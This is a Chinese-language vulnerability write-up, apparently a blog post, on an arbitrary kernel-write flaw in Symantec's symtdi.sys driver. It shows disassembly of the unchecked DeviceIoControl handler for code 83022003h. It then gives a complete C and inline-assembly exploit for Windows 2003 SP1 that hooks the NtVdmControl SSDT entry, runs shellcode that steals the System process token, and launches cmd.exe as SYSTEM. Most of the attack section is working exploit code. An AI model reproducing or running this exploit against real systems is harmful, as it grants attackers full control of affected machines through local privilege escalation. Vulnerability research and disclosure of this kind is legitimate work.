|
最近通过反汇编分析发现了一个 symantec 的漏洞，这个漏洞是在 symtdi.sys 中存在的，由
于驱动程序中处理 IRP_MJ_DEVICE_CONTROL 例程没有检查用户传入的缓冲区地址的合法性，
造成任意内核地址可写的漏洞,用户可以发送恶意的 DeviceIoControl 的来完全的控制计算
机。
在 symtdi.sys 中，以下代码用来处理IRP_MJ_DEVICE_CONTROL请求
loc_387C0: ; CODE XREF: sub_38736+6C\u0018j
.text:000387C0 cmp dword_4B258, 0
.text:000387C7 jz short loc_387EF
.text:000387C7
.text:000387C9 call KeGetCurrentIrql
.text:000387C9
.text:000387CE and eax, 0FFh
.text:000387D3 test eax, eax
.text:000387D5 jnz short loc_387EF
.text:000387D5
.text:000387D7 call sub_37B5F
.text:000387D7
.text:000387DC test eax, eax
.text:000387DE jz short loc_387EF
.text:000387DE
.text:000387E0 mov dword_4B258, 0
.text:000387EA call sub_37B9A
.text:000387EA
.text:000387EF
.text:000387EF loc_387EF: ; CODE XREF: sub_38736+91\u0018j
.text:000387EF ; sub_38736+9F\u0018j
.text:000387EF ; sub_38736+A8\u0018j
.text:000387EF mov ecx, [ebp+var_20]
.text:000387F2 mov edx, [ecx+0Ch]
.text:000387F5 mov [ebp+var_38], edx
.text:000387F8 mov eax, [ebp+var_38]
.text:000387FB shr eax, 10h
.text:000387FE mov [ebp+var_44], eax
.text:00038801 cmp [ebp+var_44], 8302h
.text:00038808 jnz loc_3983C
.text:00038808
.text:0003880E cmp [ebp+var_38], 83022227h
.text:00038815 jnb short loc_38854
.text:00038815
.text:00038817 cmp dword_4B0DC, 0
.text:0003881E jnz short loc_38842
.text:0003881E
.text:00038820 call ds:KeEnterCriticalRegion
.text:00038826 mov ecx, offset stru_4B060 ; FastMutex
.text:0003882B call ds:ExAcquireFastMutexUnsafe
.text:00038831 mov ecx, offset stru_4B060 ; FastMutex
.text:00038836 call ds:ExReleaseFastMutexUnsafe
.text:0003883C call ds:KeLeaveCriticalRegion
.text:0003883C
.text:00038842
.text:00038842 loc_38842: ; CODE XREF: sub_38736+E8\u0018j
.text:00038842 cmp dword_4B258, 0
.text:00038849 jnz short loc_38854
.text:00038849
.text:0003884B mov ecx, [ebp+var_38]
.text:0003884E push ecx
.text:0003884F call sub_16E17
.text:0003884F
.text:00038854
.text:00038854 loc_38854: ; CODE XREF: sub_38736+DF\u0018j
.text:00038854 ; sub_38736+113\u0018j
以下开始处理 ControlCode,他们基本都被定义为 METHOD_NEITHER 这种方式
.text:00038854 mov edx, [ebp+var_38] ; edx = ControlCode
.text:00038857 mov [ebp+var_F0], edx
.text:0003885D cmp [ebp+var_F0], 830221E7h
.text:00038867 ja loc_38985 ; 如果ConrolCode > 830221E7h 则跳转
.text:00038867
.text:0003886D cmp [ebp+var_F0], 830221E7h
.text:00038877 jz loc_38F5E
.text:00038877
.text:0003887D cmp [ebp+var_F0], 830221BFh
.text:00038887 ja loc_38952
.text:00038887
.text:0003888D cmp [ebp+var_F0], 830221BFh
.text:00038897 jz loc_38C2C
.text:00038897
.text:0003889D cmp [ebp+var_F0], 830221A7h
.text:000388A7 ja short loc_3891F
.text:000388A7
.text:000388A9 cmp [ebp+var_F0], 830221A7h
.text:000388B3 jz loc_38BB0
.text:000388B3
.text:000388B9 cmp [ebp+var_F0], 8302219Ah
.text:000388C3 ja short loc_388FA
.text:000388C3
.text:000388C5 cmp [ebp+var_F0], 8302219Ah
.text:000388CF jz loc_38E15
.text:000388CF
.text:000388D5 cmp [ebp+var_F0], 83022003h
.text:000388DF jz loc_38B49 ; 注意这里
.text:000388DF
.text:000388E5 cmp [ebp+var_F0], 83022196h
.text:000388EF jz loc_38DD5
.text:000388EF
.text:000388F5 jmp loc_392EE
其上的很多控制码都存在问题，当然最好利用的控制码就是 83022003h 了，我们来看看
symtdi.sys 中如何处理 83022003h
loc_38B49: ; CODE XREF: sub_38736+1A9\u0018j
.text:00038B49 mov ecx, [ebp+Irp]
.text:00038B4C mov edx, [ecx+3Ch] ; edx = irp->UserBuffer
.text:00038B4F mov [ebp+var_24], edx
.text:00038B52 mov eax, [ebp+var_20]
.text:00038B55 mov ecx, [eax+4]
.text:00038B58 mov [ebp+var_40], ecx
.text:00038B5B mov edx, [ebp+var_40]
.text:00038B5E push edx
.text:00038B5F mov eax, [ebp+var_24]
.text:00038B62 push eax
.text:00038B63 call sub_3B7B0
sub_3B7B0 proc near ; CODE XREF: sub_38736+42D\u0018p
.text:0003B7B0
.text:0003B7B0 var_4 = dword ptr -4
.text:0003B7B0 arg_0 = dword ptr 8
.text:0003B7B0 arg_4 = dword ptr 0Ch
.text:0003B7B0
.text:0003B7B0 push ebp
.text:0003B7B1 mov ebp, esp
.text:0003B7B3 push ecx
.text:0003B7B4 mov [ebp+var_4], 0
.text:0003B7BB cmp [ebp+arg_0], 0
.text:0003B7BF jz short loc_3B7EB
.text:0003B7BF
.text:0003B7C1 cmp [ebp+arg_4], 9
.text:0003B7C5 jb short loc_3B7EB
.text:0003B7C5
.text:0003B7C7 mov eax, [ebp+arg_0]
; eax = irp->UserBuffer 以前没有对irp->UserBuffer进行任何检查
.text:0003B7CA mov ecx, dword_45544
.text:0003B7D0 mov [eax], ecx
; 以下是对UserBuffer进行写操作，一共写入了9字节，形成了任意内核地址可写的漏洞
.text:0003B7D2 mov edx, dword_45548
.text:0003B7D8 mov [eax+4], edx
.text:0003B7DB mov cl, byte_4554C
.text:0003B7E1 mov [eax+8], cl
.text:0003B7E4 mov [ebp+var_4], 9
.text:0003B7E4
.text:0003B7EB
.text:0003B7EB loc_3B7EB: ; CODE XREF: sub_3B7B0+F\u0018j
.text:0003B7EB ; sub_3B7B0+15\u0018j
.text:0003B7EB mov eax, [ebp+var_4]
.text:0003B7EE mov esp, ebp
.text:0003B7F0 pop ebp
.text:0003B7F1 retn 8
.text:0003B7F1
.text:0003B7F1 sub_3B7B0 endp
看完代码，我们大家已经很清楚地知道了这个漏洞如何利用，我们可以去Hook一个SSDT上的函
数，在我们进行调用被Hook的函数时，有机会让我们的ring0代码得到运行,Hook的函数我依旧
选择 NtVdmControl，虽然这里覆盖了9字节的数据，但是由于NtVdmControl后面的一个函数也
为一个不常用的api，所以我们的exploit可以保证%80以上的有效率，但是一定要在调用ring 0
代码的时候进行一些现场恢复，不然一定会死的比较难看的。
poc代码:
#include <stdio.h>
#include <windows.h>
#pragma comment (lib, "ntdll.lib")
typedef LONG NTSTATUS;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef struct _IMAGE_FIXUP_ENTRY {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
extern "C"
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);
int main(int argc, char* argv[])
{
NTSTATUS status;
HANDLE deviceHandle;
DWORD dwReturnSize = 0;
PVOID VdmControl = NULL;
PVOID ShellCodeMemory = (PVOID)0x2E352E35;
DWORD MemorySize = 0x2000;
PROCESS_INFORMATION pi;
STARTUPINFOA stStartup;
OSVERSIONINFOEX OsVersionInfo;
RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);
if ( OsVersionInfo.dwMajorVersion != 5 ) {
printf( "Not NT5 system\n" );
ExitProcess( 0 );
return 0;
}
if ( OsVersionInfo.dwMinorVersion != 2 ) {
printf( "isn't windows 2003 system\n" );
ExitProcess( 0 );
return 0;
}
printf( "Symantec Local Privilege Escalation Vulnerability Exploit (POC) \n\n" );
printf( "Tested on: \n\twindows 2003 sp1 (ntkrnl.pa.exe version) \n\n" );
printf( "\tCoded by shadow3\n\n" );
status = NtAllocateVirtualMemory( (HANDLE)-1,
&ShellCodeMemory,
0,
&MemorySize,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE );
if ( status != STATUS_SUCCESS ) {
printf( "NtAllocateVirtualMemory failed, status: %08X\n", status );
return 0;
}
memset( ShellCodeMemory, 0x90, MemorySize );
__asm {
call CopyShellCode
nop
nop
nop
nop
nop
nop
//
// 恢复SSDT保证系统能够正常运行
//
/*
mov edi, 0x80827D54
mov [edi], 0x808C998A
mov [edi+4], 0x809ba123
mov [edi+8], 0x80915CBE
*/ // ntoskrnl.exe
mov edi, 0x8083100C
// mov [edi], 0x808C998A
mov [edi+4], 0x809970CC // ntkrnlpa.exe version
mov [edi+8], 0x8092FF3E
mov eax,0xFFDFF124 // eax = ETHREAD (not 3G Mode)
mov eax,[eax]
mov esi,[eax+0x218]
mov eax,esi
search2k3sp1:
mov eax,[eax+0x98]
sub eax,0x98
mov edx,[eax+0x94]
cmp edx,0x4 // Find System Process
jne search2k3sp1
mov eax,[eax+0xd8] // 获取system进程的token
mov [esi+0xd8],eax // 修改当前进程的token
ret 8
CopyShellCode:
pop esi
lea ecx, CopyShellCode
sub ecx, esi
mov edi,0x2E352E35
cld
rep movsb
}
deviceHandle = CreateFile("\\\\.\\Symtdi",
0,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if ( INVALID_HANDLE_VALUE == deviceHandle ) {
printf( "Open Symtdi device failed, code: %d\n", GetLastError() );
return 0;
} else {
printf( "Open Symtdi device success\n" );
}
DeviceIoControl( deviceHandle,
0x83022003,
NULL,
0,
(PVOID)0x8083100C, //ntkrnlpa.exe version // (PVOID)0x80827D54,
0xC,
&dwReturnSize,
NULL );
CloseHandle( deviceHandle );
VdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" );
if ( VdmControl == NULL ) {
printf( "VdmControl == NULL\n" );
return 0;
}
printf( "call shellcode ... " );
_asm {
xor ecx,ecx
push ecx
push ecx
mov eax, VdmControl
call eax
}
printf( "Done.\n" );
printf( "Create New Process\n" );
GetStartupInfo( &stStartup );
CreateProcess( NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
NULL,
NULL,
NULL,
&stStartup,
&pi );
return 0;
}
在发现这个漏洞的兴奋之余，我上网搜索了一下 symtdi.sys，发现在今年3月份国外已经有人发
现了这个漏洞，不过报告为拒绝服务，然而厂商估计是因为这个漏洞的安全级别比较低，也没有对这个漏洞进行修补，希望安全厂商能够报着为用户负责的心态尽快修补该漏洞，如果对以上还有什么问题请发送邮件到 Polymorphours@gmail.com联系我，谢谢。
|
| |
|
推荐
评论(0条)
